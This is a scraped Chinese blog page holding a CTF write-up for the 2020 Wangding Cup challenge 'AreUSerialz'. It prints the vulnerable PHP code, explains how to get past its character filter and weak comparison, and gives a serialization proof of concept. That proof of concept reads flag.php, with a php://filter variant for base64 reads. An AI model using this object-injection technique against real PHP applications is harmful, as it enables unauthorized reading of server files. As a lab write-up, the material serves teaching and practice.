当前位置:网站首页>[网鼎杯 2020 青龙组]AreUSerialz
[网鼎杯 2020 青龙组]AreUSerialz
2022-06-29 17:46:00 【华为云】
题目
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }}function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true;}if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }}分析
首先需要绕过is_invalid函数,is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
绕过方法:PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过。==即我们最后在构造poc的时候,用public来修饰属性==
首先我们看到了read()里面的file_get_contents敏感函数process()中有调用了read()函数,条件是op == “2”
__destruct()调用了process()函数,条件是op!==“2”
可以看到这里有个弱类型的问题,构造op=2即可绕过了
<?phpclass FileHandler { public $op=2; public $filename="flag.php"; public $content="HappyCoder";}$a=new FileHandler();echo serialize($a);?>或者用php伪协议来读public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
边栏推荐
- Use SSH to pull codes
- Set double click to run the jar file
- PCB frame drawing - ad19
- Parental delegation mechanism
- Browser large screen capture
- Force deduction daily question 06.29 add two numbers
- 剑桥大学教授:经常吃早餐害处多,很危险 - 知乎
- 一次采集JSON解析错误的修复
- How to use the chart control of the b/s development tool devextreme - customize the axis position?
- R language uses user-defined functions to write deep learning leaky relu activation functions and visualize leaky relu activation functions
猜你喜欢

0 basic self-study STM32 (wildfire) -- use register to light LED -- Explanation of GPIO function block diagram
![填充每个节点的下一个右侧节点指针[利用好每个点->尽可能降低时空复杂度]](/img/33/bda0a898bfe3503197026d1f62e851.png)
填充每个节点的下一个右侧节点指针[利用好每个点->尽可能降低时空复杂度]

How to solve the 2003 error of MySQL in Linux

Let's start with a bug that was cheated by the app store

如何使用B/S开发工具DevExtreme的图表控件 - 自定义轴位置?

SRM供应商协同管理系统功能介绍

Inherit Chinese virtues, pay attention to the health of the middle-aged and the elderly, and Yurun milk powder has strong respect for the elderly

面试中问最常问的海量数据处理你拿捏了没?

小程序容器是什么技术?能助力物联网企业红海突围?

How to create a virtual image
随机推荐
Uploading files using AutoIT
ISO 32000-2 国际标准7.7
布隆过滤器:
与爱同行,育润走进贫困家庭,助推公益事业
Maidong Internet won the bid of Dajia Insurance Group
Have you grasped the most frequently asked question in the interview about massive data processing?
SSH protocol learning notes
Repair of JSON parsing errors in a collection
Timer interrupt experiment based on stm32f103zet6 library function
数字孪生能源系统,打造低碳时代“透视”眼
Bags of Binary Words for Fast Place Recognition in Image Sequenc
基于STM32F103ZET6库函数独立看门狗(IWDG)实验
Top 30 open source software
Multi mode concurrent implementation of tortoise and rabbit race in go language
R language uses user-defined functions to write deep learning linear activation functions and visualize linear activation functions
[webdriver] upload files using AutoIT
How to create and delete MySQL triggers
R language ggplot2 visualization: use the patchwork package (directly use the plus sign +) to horizontally combine the two ggplot2 visualization results, and then horizontally combine them with the th
测试dble split功能执行+导入耗时shell脚本参考
Createstore for Redux source code analysis